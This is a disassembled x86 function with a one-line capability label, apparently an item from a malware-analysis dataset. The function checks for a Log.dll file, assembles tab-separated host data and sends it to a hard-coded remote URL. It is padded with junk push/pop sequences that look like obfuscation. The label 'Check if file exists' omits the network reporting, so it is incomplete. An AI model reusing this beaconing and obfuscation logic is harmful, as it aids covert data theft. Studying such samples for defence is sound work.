Function at 0x40f120
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59bc62
mov eax, dword fs:[0]
push eax
mov eax, 0x1d4c
call fcn.0041f610
mov eax, dword [0x6240b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1d4c], ecx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1d54], eax
mov byte [ebp - 0x1d46], 1
call fcn.004274e5
test al, al
je 0x40f187
pop esp
push edi
pop eax
pop ebp
pop edi
pop ecx
pop edi
pop esp
pop ebp
push esi
push ecx
push edx
push ecx
push eax
push eax
pop esp
pop ebp
pop ecx
pop esp
push ebx
pop edx
push edx
call fcn.004274a0
test al, al
je 0x40f1ae
pop ecx
pop ebp
pop edi
push esi
push esi
push ecx
pop eax
pop ebx
push ebp
pop ecx
pop ebx
pop esp
push ecx
pop esp
push esp
push ebp
pop ebx
push ecx
pop ecx
pop esp
push ebp
push edx
push esi
pop edx
pop edx
pop ebp
pop edi
pop esi
pop ebp
push edx
call fcn.004279bf
test al, al
je 0x40f1c7
push edi
pop eax
push esp
pop esp
pop esp
pop ebx
pop esp
pop edi
push ebp
push ebp
push ebx
pop esp
push ebx
push esp
pop edx
push ebp
call fcn.00427683
test al, al
je 0x40f1e5
pop ecx
pop esi
pop ecx
push esi
pop esp
pop ebx
push eax
push edi
pop ecx
push esp
push esi
push ecx
pop esp
pop esp
pop ebx
push esp
pop edx
pop edx
pop eax
push esi
push edi
call fcn.0042770d
test al, al
je 0x40f20c
push eax
push esi
push ebx
pop esi
push eax
pop edx
push edi
pop ebx
push eax
push ecx
push eax
push eax
push ecx
push esp
push ebp
push esp
pop esi
push ebp
pop eax
push eax
pop ecx
push edi
pop ebp
push esi
pop ebx
pop esi
pop ebp
push ecx
pop ebp
push ebp
push 0x11
xor eax, eax
mov dword [ebp - 0x1ce8], 7
push str.C:LogResLog.dll
lea ecx, [ebp - 0x1cfc]
mov dword [ebp - 0x1cec], 0
mov word [ebp - 0x1cfc], ax
call fcn.00401820
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1cfc]
cmp dword [ebp - 0x1ce8], 8
cmovae eax, dword [ebp - 0x1cfc]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
movzx ecx, byte [ebp - 0x1d46]
xor edx, edx
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0x1d50], ecx
call fcn.004277dc
test al, al
je 0x40f294
pop esp
pop ebp
pop edx
push esp
pop ecx
push ecx
pop esp
pop ecx
pop eax
pop ebx
push eax
pop esi
pop edx
push eax
pop ebp
push edx
pop ebp
push esp
push ebp
push ecx
pop ebx
push ecx
push edi
push eax
push ebp
push ebx
call fcn.00427a04
test al, al
je 0x40f2b3
push ebx
push edi
push ebp
pop ebx
push eax
push ebp
push eax
push ecx
push esi
pop esp
push esp
pop eax
pop ebx
pop esp
push ecx
pop ebx
pop eax
pop esi
pop ecx
pop eax
push esp
pop esp
call fcn.00427797
test al, al
je 0x40f2d7
pop edx
push esp
pop ebx
push edi
push ecx
push ebp
push ecx
push edx
push ebx
pop edx
push edx
pop edi
pop ebp
push esp
push edx
pop ebx
push ecx
push edi
pop esi
push edx
pop ebx
pop edx
push eax
pop ebp
pop esi
push esp
pop ebp
cmp byte [ebp - 0x1d50], 0
je 0x40f310
push 0x270f
push 0
xor bl, bl
call fcn.00427124
add esp, 8
movzx ebx, bl
cmp eax, 0x64
mov ecx, 1
cmovle ebx, ecx
call fcn.00427cae
test eax, eax
jne 0x40f310
test bl, bl
je 0x40f785
mov edx, dword [ebp - 0x1d54]
mov dword [ebp - 0x1d30], 0xf
mov dword [ebp - 0x1d34], 0
mov byte [ebp - 0x1d44], 0
cmp byte [edx], 0
jne 0x40f33a
xor ecx, ecx
jmp 0x40f349
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f340
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1d44]
call fcn.00406490
lea eax, [ebp - 0x1d44]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x1ce4]
push eax
call fcn.0042c372
add esp, 8
lea ecx, [ebp - 0x1d44]
mov byte [ebp - 4], 3
call fcn.00404680
cmp dword [ebp - 0x1cd0], 8
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x1ce4]
cmovae eax, dword [ebp - 0x1ce4]
push ecx
push eax
call fcn.004236a1
add esp, 8
call fcn.00427416
test al, al
je 0x40f3bf
pop ebx
push ebx
pop edx
pop ebp
pop ebx
push ebx
pop edi
pop esp
pop edx
push ebp
pop esi
push edx
pop ecx
push esi
push esp
pop ecx
push ebp
pop esp
pop ebx
call fcn.004276c8
test al, al
je 0x40f3e4
push edi
push eax
pop esp
push esi
push eax
push ebx
pop ebx
pop eax
push edx
push ebp
push esi
push edx
push edi
pop ebp
pop edi
pop ebx
push edx
pop esp
push esp
pop esi
pop ebx
push eax
push esi
pop esi
push ecx
push ebx
pop esi
push ecx
call fcn.004277dc
test al, al
je 0x40f405
pop esp
push edx
push esp
pop edi
push esi
push ebx
pop ebp
pop ebp
push ebx
pop ebp
push esp
push edi
pop ecx
pop ecx
push esp
push esp
pop ecx
push edi
pop edx
pop ebp
push esp
pop eax
push edx
push ecx
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.0043ffd0
add esp, 0xc
call fcn.00427347
test al, al
je 0x40f444
push ebx
pop esi
pop edx
push eax
pop edi
push esi
push esp
push esp
pop eax
push edx
push esp
push ebp
pop esi
pop ebx
push ebx
push ebp
push eax
push esp
push esp
push ebx
pop ebp
pop ebx
pop ebx
push ecx
pop ecx
push edx
pop esi
push esp
push esi
push edx
pop eax
pop ebp
call fcn.00427683
test al, al
je 0x40f45d
pop eax
push esp
pop edx
push ebx
pop ecx
pop ebx
pop eax
push eax
pop esi
push edi
push edi
pop esi
push edx
pop ebp
pop esp
push ecx
call fcn.0042738c
test al, al
je 0x40f476
pop ebx
pop ecx
pop esp
pop ebp
pop esp
pop edi
pop ecx
pop eax
push ecx
push esp
push edi
push ebx
push eax
push ebx
pop ecx
pop esi
mov ebx, dword [ebp - 0x1d4c]
cmp dword [ebx + 0xcc], 0x10
lea eax, [ebx + 0xb8]
jb 0x40f48d
mov eax, dword [eax]
cmp dword [ebx + 0x54], 0x10
lea ecx, [ebx + 0x40]
jb 0x40f498
mov ecx, dword [ecx]
cmp dword [ebx + 0x9c], 0x10
lea edx, [ebx + 0x88]
jb 0x40f4a9
mov edx, dword [edx]
cmp dword [ebx + 0x84], 0x10
lea esi, [ebx + 0x70]
jb 0x40f4b7
mov esi, dword [esi]
cmp dword [ebx + 0x3c], 0x10
lea edi, [ebx + 0x28]
jb 0x40f4c2
mov edi, dword [edi]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0x114]
push eax
push ecx
push edx
push esi
push edi
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s_t_d_t_s
push eax
call fcn.004093a0
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.0043ffd0
add esp, 0x30
mov dword [ebp - 0x1d58], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1d18], 0xf
mov dword [ebp - 0x1d1c], 0
mov byte [ebp - 0x1d2c], 0
jne 0x40f52a
xor ecx, ecx
jmp 0x40f53c
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f533
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1d2c]
call fcn.00406490
lea ecx, [ebp - 0x1d58]
mov byte [ebp - 4], 4
cmp dword [ebp - 0x1d18], 0x10
lea eax, [ebp - 0x1d2c]
push ecx
cmovae eax, dword [ebp - 0x1d2c]
lea ecx, [ebp - 0xccc]
push ecx
push dword [ebp - 0x1d1c]
push eax
call fcn.0042ec1d
add esp, 0x10
call fcn.00427347
test al, al
je 0x40f5a5
push ecx
pop edi
pop ebp
pop ebp
push ebp
push ebp
pop ebx
pop esi
pop edi
push edx
pop edi
push eax
pop edi
pop esi
pop esi
pop ebp
push edx
pop esp
pop edi
pop ebx
pop ebx
push ebp
pop ecx
pop eax
lea ecx, [ebp - 0x1d45]
call fcn.00402540
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x1d45]
call fcn.0042e601
call fcn.00427347
test al, al
je 0x40f5e3
pop edi
pop edi
push ecx
push ebx
push ebx
push esp
push edx
push edx
pop ebx
pop ebp
push esi
pop esi
pop ebx
push eax
pop esp
pop edi
push ecx
push esi
push ebp
push edi
push 0x4d
push str.https:__otuyt.oudingsoft.com__3eaf119683b9dc38c94eff575f9e3e65783781456a6f
lea ecx, [ebp - 0x1d14]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
call fcn.00406490
mov byte [ebp - 4], 6
cmp byte [ebp - 0xccc], 0
jne 0x40f621
xor ecx, ecx
jmp 0x40f639
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f630
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1d14]
call fcn.004066c0
call fcn.00427797
test al, al
je 0x40f669
push edx
push ebx
pop edi
push esp
pop ecx
push ecx
push edi
pop ebx
pop ebp
pop ebx
pop ebx
push esp
pop edi
pop eax
pop eax
push ebx
push esi
push esp
push ebx
push eax
call fcn.0042752a
test al, al
je 0x40f68e
push esi
push ebx
pop edi
pop ebp
pop ecx
pop edx
push ecx
pop edx
pop ebx
push esi
pop ecx
pop ecx
pop edi
pop eax
push ecx
pop ebx
pop ecx
pop esi
pop edi
pop ebx
pop edx
pop esp
push edi
push ecx
pop esi
pop ecx
pop esi
push esi
call fcn.0042752a
test al, al
je 0x40f6b3
pop esp
push esi
pop edx
pop esp
pop esi
push edx
push edi
push ecx
pop ecx
push esi
push ecx
push ecx
pop eax
pop esi
pop ecx
pop ecx
push eax
push edx
pop esi
push esi
pop edi
pop esp
push ebp
pop esi
pop edx
pop ebp
pop esi
pop ebp
call fcn.00427347
test al, al
je 0x40f6d0
pop eax
pop ecx
pop edi
pop edi
push ecx
push edi
pop ecx
pop ebp
pop ecx
pop ecx
pop esp
push edx
push ebx
push esi
pop eax
pop edi
push esi
push eax
pop ecx
push edi
cmp dword [ebp - 0x1d00], 0x10
lea eax, [ebp - 0x1d14]
cmovae eax, dword [ebp - 0x1d14]
push eax
call fcn.0040fcc0
mov edi, eax
call fcn.004278ab
test al, al
je 0x40f715
pop ecx
pop esi
push edx
pop esp
pop eax
push esi
push edi
pop esp
push edi
push esi
push esi
push eax
push ebx
pop eax
pop eax
pop ecx
pop eax
push esp
push esp
pop ecx
push eax
push edx
pop ecx
push esp
push esp
push edi
push ebp
push ebx
push edx
pop esi
push esi
push edx
test edi, edi
jne 0x40f729
mov ecx, dword [ebp - 0x1d4c]
push 0x619f80
call fcn.0040ff40
lea ecx, [ebp - 0x1d14]
call fcn.00404680
lea ecx, [ebp - 0x1d45]
call fcn.00401310
lea ecx, [ebp - 0x1d2c]
call fcn.00404680
mov eax, dword [ebp - 0x1cd0]
cmp eax, 8
jb 0x40f768
inc eax
lea ecx, [ebp - 0x1ce4]
push eax
push dword [ebp - 0x1ce4]
call fcn.00401b30
xor eax, eax
mov dword [ebp - 0x1cd0], 7
mov dword [ebp - 0x1cd4], 0
mov word [ebp - 0x1ce4], ax
mov eax, dword [ebp - 0x1ce8]
cmp eax, 8
jb 0x40f7a3
inc eax
lea ecx, [ebp - 0x1cfc]
push eax
push dword [ebp - 0x1cfc]
call fcn.00401b30
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041eca9
mov esp, ebp
pop ebp
ret 0x10